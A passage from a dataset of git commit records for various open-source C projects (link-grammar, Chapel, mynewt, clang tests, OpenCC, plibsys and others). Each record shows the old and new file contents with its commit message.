STRINGIFY\n#define STR(x) #x\n#define STRINGIFY(x) STR(x)\n#endif \/* STRINGIFY *\/\n\n#define FILELINE __FILE__ \":\" STRINGIFY(__LINE__)\n\n#ifdef _WIN32\n#define DEBUG_TRAP (*((volatile int*) 0x0) = 42)\n#else\n#define DEBUG_TRAP __builtin_trap()\n#endif\n\n\/* FIXME:\n * 1. If the error_handler is not NULL, use prt_error() too (after calling\n *    fprintf()), in order to allow an error_handler to log, produce trace, or\n *    show the assert() message in a (possibly pop-up) window.\n * 2. Don't use DEBUG_TRAP (or exit) directly, but instead call a function\n *    pointer like lg_exit(code) to allow the LG library to be embedded in an\n *    application like an editor. If not set, the default will still be\n *    DEBUG_TRAP. *\/\n#define assert(ex, ...) {                                                   \\\n\tif (!(ex)) {                                                             \\\n\t\tfprintf(stderr, \"Fatal error: \\nAssertion (\" #ex \") failed at \" FILELINE \": \" __VA_ARGS__);  \\\n\t\tfprintf(stderr, \"\\n\");                                                \\\n\t\tDEBUG_TRAP;  \/* leave stack trace in debugger *\/                      \\\n\t}                                                                        \\\n}\n","subject":"Document 2 FIXME's for an app-embedded LG library","message":"assert(): Document 2 FIXME's for an app-embedded LG library\n","lang":"C","license":"lgpl-2.1","repos":"ampli\/link-grammar,linas\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,linas\/link-grammar,linas\/link-grammar,linas\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,opencog\/link-grammar,linas\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,ampli\/link-grammar,linas\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,opencog\/link-grammar,ampli\/link-grammar,linas\/link-grammar,ampli\/link-grammar,opencog\/link-grammar"}
{"commit":"03cbdc9d568682564dbdd115ddce031aae1da6c5","old_file":"runtime\/src\/launch\/zebra\/launch-zebra.c","new_file":"runtime\/src\/launch\/zebra\/launch-zebra.c","old_contents":"#include <stdio.h>\n#include <string.h>\n#include \"chpllaunch.h\"\n#include \"chpl_mem.h\"\n#include \"error.h\"\n\n\nstatic char* chpl_launch_create_command(int argc, char* argv[],\n                                        int32_t numLocales) {\n  int i;\n  int size;\n  char baseCommand[256];\n  char* command;\n\n  chpl_compute_real_binary_name(argv[0]);\n\n  sprintf(baseCommand, \"zebra -fast -r %s\", chpl_get_real_binary_name());\n\n  size = strlen(baseCommand) + 1;\n\n  for (i=1; i<argc; i++) {\n    size += strlen(argv[i]) + 3;\n  }\n\n  command = chpl_malloc(size, sizeof(char), CHPL_RT_MD_COMMAND_BUFFER, -1, \"\");\n  \n  sprintf(command, \"%s\", baseCommand);\n  for (i=1; i<argc; i++) {\n    strcat(command, \" '\");\n    strcat(command, argv[i]);\n    strcat(command, \"'\");\n  }\n\n  if (strlen(command)+1 > size) {\n    chpl_internal_error(\"buffer overflow\");\n  }\n\n  return command;\n}\n\n\nint chpl_launch(int argc, char* argv[], int32_t numLocales) {\n  return chpl_launch_using_system(chpl_launch_create_command(argc, argv, numLocales),\n                                  argv[0]);\n}\n\n\nint chpl_launch_handle_arg(int argc, char* argv[], int argNum,\n                           int32_t lineno, chpl_string filename) {\n  return 0;\n}\n\n\nvoid chpl_launch_print_help(void) {\n}\n","new_contents":"#include <stdio.h>\n#include <string.h>\n#include \"chpllaunch.h\"\n#include \"chpl_mem.h\"\n#include \"error.h\"\n\n\nstatic char** chpl_launch_create_argv(int argc, char* argv[]) {\n  const int largc = 3;\n  char *largv[largc];\n\n  largv[0] = (char *) \"zebra\";\n  largv[1] = (char *) \"-fast\";\n  largv[2] = (char *) \"-r\";\n\n  return chpl_bundle_exec_args(argc, argv, largc, largv);\n}\n\n\nint chpl_launch(int argc, char* argv[], int32_t numLocales) {\n  if (numLocales != 1) {\n    \/\/ This error should be taken care of before we get to this point\n    chpl_internal_error(\"The XMT launcher only supports numLocales==1\");\n  }\n\n  return chpl_launch_using_exec(\"zebra\",\n                                chpl_launch_create_argv(argc, argv),\n                                argv[0]);\n}\n\n\nint chpl_launch_handle_arg(int argc, char* argv[], int argNum,\n                           int32_t lineno, chpl_string filename) {\n  return 0;\n}\n\n\nvoid chpl_launch_print_help(void) {\n}\n","subject":"Update the zebra launcher to use chpl_launch_using_exec() as implemented in r18010.","message":"Update the zebra launcher to use chpl_launch_using_exec() as\nimplemented in r18010.\n\n\n\ngit-svn-id: 88467cb1fb04b8a755be7e1ee1026be4190196ef@18032 3a8e244f-b0f2-452b-bcba-4c88e055c3ca\n","lang":"C","license":"apache-2.0","repos":"CoryMcCartan\/chapel,CoryMcCartan\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,CoryMcCartan\/chapel,chizarlicious\/chapel,hildeth\/chapel,sungeunchoi\/chapel,hildeth\/chapel,CoryMcCartan\/chapel,CoryMcCartan\/chapel,CoryMcCartan\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,CoryMcCartan\/chapel,hildeth\/chapel,hildeth\/chapel,hildeth\/chapel,hildeth\/chapel,hildeth\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel,sungeunchoi\/chapel,chizarlicious\/chapel,sungeunchoi\/chapel"}
{"commit":"2b03ded9e3f9a0668784a2090852625adfd58485","old_file":"sys\/config\/include\/config\/config_fcb.h","new_file":"sys\/config\/include\/config\/config_fcb.h","old_contents":"\/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n#ifndef __SYS_CONFIG_FCB_H_\n#define __SYS_CONFIG_FCB_H_\n\n#ifdef FCB_PRESENT\n\n#include <fcb\/fcb.h>\n#include \"config\/config.h\"\n\nstruct conf_file {\n    struct cf_storage cf_itf;\n    struct fcb cf_fcb;\n};\n\nint conf_fcb_src(struct conf_fcb *fcb);\nint conf_fcb_dst(struct conf_fcb *fcb);\n\n#endif\n\n#endif \/* __SYS_CONFIG_FCB_H_ *\/\n","new_contents":"\/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied.  See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n#ifndef __SYS_CONFIG_FCB_H_\n#define __SYS_CONFIG_FCB_H_\n\n#ifdef FCB_PRESENT\n\n#include <fcb\/fcb.h>\n#include \"config\/config.h\"\n\nstruct conf_fcb {\n    struct conf_store cf_store;\n    struct fcb cf_fcb;\n};\n\nint conf_fcb_src(struct conf_fcb *fcb);\nint conf_fcb_dst(struct conf_fcb *fcb);\n\n#endif\n\n#endif \/* __SYS_CONFIG_FCB_H_ *\/\n","subject":"Update to catch up with renames of internal structures.","message":"Update to catch up with renames of internal structures.\n","lang":"C","license":"apache-2.0","repos":"mlaz\/mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,IMGJulian\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,wes3\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,wes3\/incubator-mynewt-core,andrzej-kaczmarek\/apache-mynewt-core,andrzej-kaczmarek\/incubator-mynewt-core,mlaz\/mynewt-core,wes3\/incubator-mynewt-core,IMGJulian\/incubator-mynewt-core,mlaz\/mynewt-core"}
{"commit":"11bacf2b96045d6d8beb88b5c2951985f34b78b0","old_file":"samples.c","new_file":"samples.c","old_contents":"","new_contents":"#include <fcntl.h>\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <string.h>\n\n#include <sys\/mman.h>\n#include <sys\/stat.h>\n\n#include <unistd.h>\n\n#include \"base.h\"\n\nint main( int argc, char** argv ) {\n\n    srand( 23898645 );\n\n    uint16 blocks = 4;\n    uint64 elements = 128;\n    if( argc == 3 ) {\n        blocks = (uint16) atoi( argv[1] );\n        elements = (uint64) atoi( argv[2] );\n    }\n    print(\"Making %hu blocks of %lu elements\", blocks, elements );\n\n    uint64 block[elements];\n\n    for( uint16 i = 0; i<blocks; i++ ) {\n\n        char filename[255];\n        sprintf( filename, \"sample_%06hu.block\", i);\n        print(\"Generating file: %s\", filename);\n        uint64 step = rand() % 100; \/\/ ensure some collisions between multiple sample files\n        block[0] = rand() % 100; \/\/ ensure some overlap\n\n        FILE* fp = fopen( filename, \"w\" );\n        if( !fp ) {\n            perror(\"File opening failed\");\n            exit( EXIT_FAILURE );\n        }\n\n        for( uint64 j = 1; j < elements; j++ ) {\n            block[j] = block[ j-1 ] + step;\n        }\n        fwrite( block, sizeof(uint64), elements, fp );\n\n        fclose(fp);\n    }\n\n    exit( EXIT_SUCCESS );\n}\n","subject":"Make some sample blocks for merging","message":"Make some sample blocks for merging\n","lang":"C","license":"unlicense","repos":"niven\/connect4,niven\/connect4"}
{"commit":"e920c4cab8adfdbddac8ff0f06da083a533aab87","old_file":"Kit\/iOSKit.h","new_file":"Kit\/iOSKit.h","old_contents":"\/\/\n\/\/  iOSKit.h\n\/\/  iOSKit\n\/\/\n\/\/  Created by Yarik Smirnov on 1\/23\/12.\n\/\/  Copyright (c) 2012 e-Legion ltd. All rights reserved.\n\/\/\n\n#ifndef Elegion_iOSKit_h\n#define Elegion_iOSKit_h\n\n\n#import \"ELIconView.h\"\n#import \"ELInfoView.h\"\n#import \"ELPickerView.h\"\n#import \"ELSwipeController.h\"\n\n#endif\n","new_contents":"\/\/\n\/\/  iOSKit.h\n\/\/  iOSKit\n\/\/\n\/\/  Created by Yarik Smirnov on 1\/23\/12.\n\/\/  Copyright (c) 2012 e-Legion ltd. All rights reserved.\n\/\/\n\n#ifndef Elegion_iOSKit_h\n#define Elegion_iOSKit_h\n\n\n#import \"ELIconView.h\"\n#import \"ELInfoView.h\"\n#import \"ELPickerView.h\"\n#import \"ELSwipeController.h\"\n\n#endif\n\n\n","subject":"Add Drawing Kit header in general header","message":"Add Drawing Kit header in general header\n","lang":"C","license":"apache-2.0","repos":"elegion\/iOSKit,elegion\/iOSKit"}
{"commit":"e8105903d78c81119754a42926951d9d17e191ba","old_file":"arch\/powerpc\/include\/asm\/kmap_types.h","new_file":"arch\/powerpc\/include\/asm\/kmap_types.h","old_contents":"#ifndef _ASM_POWERPC_KMAP_TYPES_H\n#define _ASM_POWERPC_KMAP_TYPES_H\n\n#ifdef __KERNEL__\n\n\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\nenum km_type {\n\tKM_BOUNCE_READ,\n\tKM_SKB_SUNRPC_DATA,\n\tKM_SKB_DATA_SOFTIRQ,\n\tKM_USER0,\n\tKM_USER1,\n\tKM_BIO_SRC_IRQ,\n\tKM_BIO_DST_IRQ,\n\tKM_PTE0,\n\tKM_PTE1,\n\tKM_IRQ0,\n\tKM_IRQ1,\n\tKM_SOFTIRQ0,\n\tKM_SOFTIRQ1,\n\tKM_PPC_SYNC_PAGE,\n\tKM_PPC_SYNC_ICACHE,\n\tKM_TYPE_NR\n};\n\n#endif\t\/* __KERNEL__ *\/\n#endif\t\/* _ASM_POWERPC_KMAP_TYPES_H *\/\n","new_contents":"#ifndef _ASM_POWERPC_KMAP_TYPES_H\n#define _ASM_POWERPC_KMAP_TYPES_H\n\n#ifdef __KERNEL__\n\n\/*\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n\nenum km_type {\n\tKM_BOUNCE_READ,\n\tKM_SKB_SUNRPC_DATA,\n\tKM_SKB_DATA_SOFTIRQ,\n\tKM_USER0,\n\tKM_USER1,\n\tKM_BIO_SRC_IRQ,\n\tKM_BIO_DST_IRQ,\n\tKM_PTE0,\n\tKM_PTE1,\n\tKM_IRQ0,\n\tKM_IRQ1,\n\tKM_SOFTIRQ0,\n\tKM_SOFTIRQ1,\n\tKM_PPC_SYNC_PAGE,\n\tKM_PPC_SYNC_ICACHE,\n\tKM_TYPE_NR\n};\n\n\/*\n * This is a temporary build fix that (so they say on lkml....) should no longer\n * be required after 2.6.33, because of changes planned to the kmap code.\n * Let's try to remove this cruft then.\n *\/\n#ifdef CONFIG_DEBUG_HIGHMEM\n#define KM_NMI\t\t(-1)\n#define KM_NMI_PTE\t(-1)\n#define KM_IRQ_PTE\t(-1)\n#endif\n\n#endif\t\/* __KERNEL__ *\/\n#endif\t\/* _ASM_POWERPC_KMAP_TYPES_H *\/\n","subject":"Fix DEBUG_HIGHMEM build break from d4515646699","message":"powerpc: Fix DEBUG_HIGHMEM build break from d4515646699\n\nCode was added to mm\/higmem.c that depends on several\nkmap types that powerpc does not support.  We add dummy\ninvalid definitions for KM_NMI, KM_NM_PTE, and KM_IRQ_PTE.\n\nAccording to list discussion, this fix should not be needed\nanymore starting with 2.6.33.  The code is commented to this\neffect so hopefully we will remember to remove this.\n\nSigned-off-by: Becky Bruce <f047d6ac93d5e15bc5478b9d8f9d5417f11532d4@kernel.crashing.org>\nSigned-off-by: Benjamin Herrenschmidt <a7089bb6e7e92505d88aaff006cbdd60cc9120b6@kernel.crashing.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"dd45649d55a60797d3d8b4fe665862df0cbf6a79","old_file":"examples\/c\/plcdemos.h","new_file":"examples\/c\/plcdemos.h","old_contents":"\/* $Id$\n\n\tEverything needed by the C demo programs.\n\tCreated to avoid junking up plplot.h with this stuff.\n*\/\n\n#ifndef __PLCDEMOS_H__\n#define __PLCDEMOS_H__\n\n#include \"plConfig.h\"\n#include \"plplot.h\"\n#include <math.h>\n#include <string.h>\n#include <ctype.h>\n\n\/* define PI if not defined by math.h *\/\n\n\/* Actually M_PI seems to be more widely used so we deprecate PI. *\/\n#ifndef PI\n#define PI 3.1415926535897932384\n#endif\n\n#ifndef M_PI\n#define M_PI 3.1415926535897932384\n#endif\n\n\/* various utility macros *\/\n\n#ifndef MAX\n#define MAX(a,b)    (((a) > (b)) ? (a) : (b))\n#endif\n\n#ifndef MIN\n#define MIN(a,b)    (((a) < (b)) ? (a) : (b))\n#endif\n\n#ifndef ROUND\n#define ROUND(a)    (PLINT)((a)<0. ? ((a)-.5) : ((a)+.5))\n#endif\n\n#endif\t\/* __PLCDEMOS_H__ *\/\n","new_contents":"\/* $Id$\n\n\tEverything needed by the C demo programs.\n\tCreated to avoid junking up plplot.h with this stuff.\n*\/\n\n#ifndef __PLCDEMOS_H__\n#define __PLCDEMOS_H__\n\n#include <math.h>\n#include <string.h>\n#include <ctype.h>\n\n#include \"plConfig.h\"\n#include \"plplot.h\"\n\n\/* define PI if not defined by math.h *\/\n\n\/* Actually M_PI seems to be more widely used so we deprecate PI. *\/\n#ifndef PI\n#define PI 3.1415926535897932384\n#endif\n\n#ifndef M_PI\n#define M_PI 3.1415926535897932384\n#endif\n\n\/* various utility macros *\/\n\n#ifndef MAX\n#define MAX(a,b)    (((a) > (b)) ? (a) : (b))\n#endif\n\n#ifndef MIN\n#define MIN(a,b)    (((a) < (b)) ? (a) : (b))\n#endif\n\n#ifndef ROUND\n#define ROUND(a)    (PLINT)((a)<0. ? ((a)-.5) : ((a)+.5))\n#endif\n\n#endif\t\/* __PLCDEMOS_H__ *\/\n","subject":"Move system header files to top in order to get rid of redefine warnings for Visual C++.","message":"Move system header files to top in order to get rid of redefine warnings for Visual C++.\n\nsvn path=\/trunk\/; revision=9609\n","lang":"C","license":"lgpl-2.1","repos":"FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot,FreeScienceCommunity\/PLPlot"}
{"commit":"0d108288da8d10c4ecb149d3df0ccf09c3af4b78","old_file":"src\/chemkit\/point3.h","new_file":"src\/chemkit\/point3.h","old_contents":"\/******************************************************************************\n**\n** Copyright (C) 2009-2011 Kyle Lutz <kyle.r.lutz@gmail.com>\n**\n** This file is part of chemkit. For more information see\n** <http:\/\/www.chemkit.org>.\n**\n** chemkit is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU Lesser General Public License as published by\n** the Free Software Foundation, either version 3 of the License, or\n** (at your option) any later version.\n**\n** chemkit is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public License\n** along with chemkit. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\n******************************************************************************\/\n\n#ifndef CHEMKIT_POINT3_H\n#define CHEMKIT_POINT3_H\n\n#include \"chemkit.h\"\n\n#include \"genericpoint.h\"\n\nnamespace chemkit {\n\n\/\/\/ A three-dimensional point.\ntypedef GenericPoint<Float> Point3;\n\n} \/\/ end chemkit namespace\n\n#endif \/\/ CHEMKIT_POINT3_H\n","new_contents":"\/******************************************************************************\n**\n** Copyright (C) 2009-2011 Kyle Lutz <kyle.r.lutz@gmail.com>\n**\n** This file is part of chemkit. For more information see\n** <http:\/\/www.chemkit.org>.\n**\n** chemkit is free software: you can redistribute it and\/or modify\n** it under the terms of the GNU Lesser General Public License as published by\n** the Free Software Foundation, either version 3 of the License, or\n** (at your option) any later version.\n**\n** chemkit is distributed in the hope that it will be useful,\n** but WITHOUT ANY WARRANTY; without even the implied warranty of\n** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n** GNU Lesser General Public License for more details.\n**\n** You should have received a copy of the GNU Lesser General Public License\n** along with chemkit. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n**\n******************************************************************************\/\n\n#ifndef CHEMKIT_POINT3_H\n#define CHEMKIT_POINT3_H\n\n#include \"chemkit.h\"\n\n#include \"genericpoint.h\"\n\nnamespace chemkit {\n\n\/\/\/ A three-dimensional point.\ntypedef GenericPoint<Float> Point3;\n\ntypedef GenericPoint<float> Point3f;\ntypedef GenericPoint<double> Point3d;\n\n} \/\/ end chemkit namespace\n\n#endif \/\/ CHEMKIT_POINT3_H\n","subject":"Add typedefs for Point3f and Point3d","message":"Add typedefs for Point3f and Point3d\n\nThis adds two typedefs for Point3f and Point3d.\n","lang":"C","license":"bsd-3-clause","repos":"kylelutz\/chemkit,kylelutz\/chemkit,kylelutz\/chemkit,kylelutz\/chemkit"}
{"commit":"a7601999342df118f9b9f1acdcf96c0478239638","old_file":"test\/CodeGen\/PR2001-bitfield-reload.c","new_file":"test\/CodeGen\/PR2001-bitfield-reload.c","old_contents":"\/\/ RUN: clang-cc -triple i386-unknown-unknown --emit-llvm-bc -o - %s | opt --std-compile-opts | llvm-dis > %t\n\/\/ RUN: grep \"ret i32\" %t | count 1\n\/\/ RUN: grep \"ret i32 1\" %t | count 1\n\/\/ PR2001\n\n\/* Test that the result of the assignment properly uses the value *in\n   the bitfield* as opposed to the RHS. *\/\nstatic int foo(int i) {\n  struct {\n    int f0 : 2;\n  } x;\n  return (x.f0 = i);\n}\n\nint bar() {\n  return foo(-5) == -1;\n}\n","new_contents":"\/\/ RUN: clang-cc -triple i386-unknown-unknown -O3 -emit-llvm -o - %s | FileCheck %s\n\/\/ PR2001\n\n\/* Test that the result of the assignment properly uses the value *in\n   the bitfield* as opposed to the RHS. *\/\nstatic int foo(int i) {\n  struct {\n    int f0 : 2;\n  } x;\n  return (x.f0 = i);\n}\n\nint bar() {\n  \/\/ CHECK: ret i32 1\n  return foo(-5) == -1;\n}\n","subject":"Update a test to FileCheck.","message":"Update a test to FileCheck.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@89610 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"6d58640be1e9d8bf8408864f293b75c1d48da06b","old_file":"src\/opencc_convert.h","new_file":"src\/opencc_convert.h","old_contents":"\/*\n* Open Chinese Convert\n*\n* Copyright 2010 BYVoid <byvoid1@gmail.com>\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#ifndef __OPENCC_CONVERT_H_\n#define __OPENCC_CONVERT_H_\n\n#include \"opencc_utils.h\"\n\n#define SEGMENT_BUFF_SIZE 1048576\n\nwchar_t * words_segmention(wchar_t * dest, const wchar_t * text);\nwchar_t * simp_to_trad(wchar_t * dest, const wchar_t * text);\n\n#endif \/* __OPENCC_CONVERT_H_ *\/\n","new_contents":"\/*\n* Open Chinese Convert\n*\n* Copyright 2010 BYVoid <byvoid1@gmail.com>\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n#ifndef __OPENCC_CONVERT_H_\n#define __OPENCC_CONVERT_H_\n\n#include \"opencc_utils.h\"\n\n#define SEGMENT_BUFF_SIZE 1048576\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nwchar_t * words_segmention(wchar_t * dest, const wchar_t * text);\nwchar_t * simp_to_trad(wchar_t * dest, const wchar_t * text);\n\n#ifdef __cplusplus\n};\n#endif\n\n#endif \/* __OPENCC_CONVERT_H_ *\/\n","subject":"Check cplusplus in header files.","message":"Check cplusplus in header files.\n","lang":"C","license":"apache-2.0","repos":"BYVoid\/OpenCC,capturePointer\/OpenCC,wisperwinter\/OpenCC,BYVoid\/OpenCC,mxgit1090\/OpenCC,j717273419\/OpenCC,BYVoid\/OpenCC,Arthur2e5\/OpenCC,xuecai\/OpenCC,chongwf\/OpenCC,mxgit1090\/OpenCC,PeterCxy\/OpenCC,capturePointer\/OpenCC,chongwf\/OpenCC,xuecai\/OpenCC,chongwf\/OpenCC,BYVoid\/OpenCC,capturePointer\/OpenCC,Arthur2e5\/OpenCC,mxgit1090\/OpenCC,wisperwinter\/OpenCC,PeterCxy\/OpenCC,wisperwinter\/OpenCC,xuecai\/OpenCC,Arthur2e5\/OpenCC,j717273419\/OpenCC,BYVoid\/OpenCC,jakwings\/OpenCC,j717273419\/OpenCC,BYVoid\/OpenCC,jakwings\/OpenCC,jakwings\/OpenCC,mxgit1090\/OpenCC,PeterCxy\/OpenCC"}
{"commit":"774da31effcdeb4e70817e8e28f89fd623403269","old_file":"src\/psysclose-unix.c","new_file":"src\/psysclose-unix.c","old_contents":"\/*\n * Copyright (C) 2016 Alexander Saprykin <xelfium@gmail.com>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"perror-private.h\"\n#include \"psysclose-private.h\"\n\n#include <unistd.h>\n#include <errno.h>\n\npint\np_sys_close (pint fd)\n{\n#ifdef EINTR\n\tpint res, err_code;\n\n\tfor (;;) {\n\t\tres = close (fd);\n\n\t\tif (P_LIKELY (res == 0))\n\t\t\treturn 0;\n\n\t\terr_code = p_error_get_last_error ();\n\n\t\tif (err_code == EINTR)\n\t\t\tcontinue;\n\t\telse\n\t\t\treturn -1;\n\t}\n#else\n\treturn close (fd);\n#endif\n}\n\n","new_contents":"\/*\n * Copyright (C) 2016 Alexander Saprykin <xelfium@gmail.com>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"perror-private.h\"\n#include \"psysclose-private.h\"\n\n#include <unistd.h>\n#include <errno.h>\n\npint\np_sys_close (pint fd)\n{\n#if defined (EINTR) && defined (P_OS_HPUX)\n\tpint res, err_code;\n\n\tfor (;;) {\n\t\tres = close (fd);\n\n\t\tif (P_LIKELY (res == 0))\n\t\t\treturn 0;\n\n\t\terr_code = p_error_get_last_error ();\n\n\t\tif (err_code == EINTR)\n\t\t\tcontinue;\n\t\telse\n\t\t\treturn -1;\n\t}\n#else\n\treturn close (fd);\n#endif\n}\n","subject":"Handle EINTR when doing close() only on HP-UX","message":"Handle EINTR when doing close() only on HP-UX\n","lang":"C","license":"unknown","repos":"saprykin\/plib,saprykin\/plibsys,saprykin\/plibsys,saprykin\/plib,saprykin\/plibsys"}
{"commit":"4875bf2dc8e4ac99863c4756857e553e02090b48","old_file":"test\/Sema\/attr-used.c","new_file":"test\/Sema\/attr-used.c","old_contents":"\/\/ RUN: %clang_cc1 -verify -fsyntax-only -Wno-private-extern %s\n\nextern int l0 __attribute__((used)); \/\/ expected-warning {{used attribute ignored}}\n__private_extern__ int l1 __attribute__((used)); \/\/ expected-warning {{used attribute ignored}}\n\nstruct __attribute__((used)) s { \/\/ expected-warning {{'used' attribute only applies to variables and functions}}\n  int x;\n};\n\nint a __attribute__((used));\n\nstatic void __attribute__((used)) f0(void) {\n}\n\nvoid f1() {\n  static int a __attribute__((used)); \n  int b __attribute__((used)); \/\/ expected-warning {{used attribute ignored}}\n}\n\n\n","new_contents":"\/\/ RUN: %clang_cc1 -verify -fsyntax-only -Wno-private-extern %s\n\nextern int l0 __attribute__((used)); \/\/ expected-warning {{used attribute ignored}}\n__private_extern__ int l1 __attribute__((used)); \/\/ expected-warning {{used attribute ignored}}\n\nstruct __attribute__((used)) s { \/\/ expected-warning {{'used' attribute only applies to variables and functions}}\n  int x;\n};\n\nint a __attribute__((used));\n\nstatic void __attribute__((used)) f0(void) {\n}\n\nvoid f1() {\n  static int a __attribute__((used)); \n  int b __attribute__((used)); \/\/ expected-warning {{used attribute ignored}}\n}\n\nstatic void __attribute__((used)) f0(void);\n","subject":"Check that we don't warn on this testcase. This is basically a test that Decl::isUsed checks the attribute. If the function had a body just the check is DeclMustBeEmitted would be sufficient.","message":"Check that we don't warn on this testcase. This is basically a test that\nDecl::isUsed checks the attribute. If the function had a body just the check\nis DeclMustBeEmitted would be sufficient.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@168514 